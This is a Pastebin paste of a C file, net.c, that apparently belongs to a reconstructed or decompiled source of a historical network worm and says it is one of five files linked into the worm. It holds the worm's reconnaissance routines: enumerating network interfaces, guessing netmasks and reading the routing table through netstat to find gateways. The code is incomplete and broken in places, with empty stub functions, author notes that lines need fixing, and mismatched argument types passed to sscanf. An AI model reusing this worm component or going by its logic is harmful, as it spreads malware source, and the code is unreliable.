Advertisement
FlyFar

net.c

Feb 28th, 2023
759
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.52 KB | Cybersecurity | 0 0
  1. /* dover */
  2.  
  3. #include "worm.h"
  4. #include <stdio.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <sys/ioctl.h>
  8. #include <netinet/in.h>
  9. #include <net/if.h>
  10.  
  11. /* This is the second of five source files linked together to form the '.o'
  12.  * file distributed with the worm.
  13.  */
  14.  
  15. if_init()           /* 0x254c, check again */
  16. {
  17.     struct ifconf if_conf;
  18.     struct ifreq if_buffer[12];
  19.     int  s, i, num_ifs, j;
  20.     char local[48];
  21.    
  22.     nifs = 0;
  23.     s = socket(AF_INET, SOCK_STREAM, 0);
  24.     if (s < 0)
  25.     return 0;               /* if_init+1042 */
  26.     if_conf.ifc_req = if_buffer;
  27.     if_conf.ifc_len = sizeof(if_buffer);
  28.    
  29.     if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) {
  30.     close(s);
  31.     return 0;               /* if_init+1042 */
  32.     }
  33.    
  34.     num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]);
  35.     for(i = 0; i < num_ifs; i++) {      /* if_init+144 */
  36.     for (j = 0; j < nifs; j++)
  37.         /* Oops, look again.  This line needs verified. */
  38.         if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0)
  39.         break;
  40.     }
  41.    
  42. }  
  43.  
  44. /* Yes all of these are in the include file, but why bother?  Everyone knows
  45.    netmasks, and they will never change... */
  46. def_netmask(net_addr)               /* 0x2962 */
  47.      int net_addr;
  48. {
  49.     if ((net_addr & 0x80000000) == 0)
  50.     return 0xFF000000;
  51.     if ((net_addr & 0xC0000000) == 0xC0000000)
  52.     return 0xFFFF0000;
  53.     return 0xFFFFFF00;
  54. }
  55.  
  56. netmaskfor(addr)                /* 0x29aa */
  57.      int addr;
  58. {
  59.     int i, mask;
  60.    
  61.     mask = def_netmask(addr);
  62.     for (i = 0; i < nifs; i++)
  63.     if ((addr & mask) == (ifs[i].if_l16 & mask))
  64.         return ifs[i].if_l24;
  65.     return mask;
  66. }
  67.  
  68. rt_init()                   /* 0x2a26 */
  69. {
  70.     FILE *pipe;
  71.     char input_buf[64];
  72.     int  l204, l304;
  73.    
  74.     ngateways = 0;
  75.     pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r"));
  76.                          /* &env102,&env 125 */
  77.     if (pipe == 0)
  78.     return 0;
  79.     while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */
  80.     other_sleep(0);
  81.     if (ngateways >= 500)
  82.         break;
  83.     sscanf(input_buf, XS("%s%s"), l204, l304);  /* <env+127>"%s%s" */
  84.     /* other stuff, I'll come back to this later */
  85.    
  86.    
  87.     }                       /* 518, back to 76 */
  88.     pclose(pipe);
  89.     rt_init_plus_544();
  90.     return 1;
  91. }                       /* 540 */
  92.  
  93. static rt_init_plus_544()               /* 0x2c44 */
  94. {
  95. }
  96.  
  97. getaddrs()                  /* 0x2e1a */
  98. {
  99. }
  100.  
  101. struct bar *a2in(a)     /* 0x2f4a, needs to be fixed */
  102.      int a;
  103. {
  104.     static struct bar local;
  105.     local.baz = a;
  106.     return &local;
  107. }
  108.  
  109. /* End of source file in original. */
  110.  
  111. /*
  112.  * Local variables:
  113.  * compile-command: "cc -S net.c"
  114.  * comment-column: 48
  115.  * End:
  116.  */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement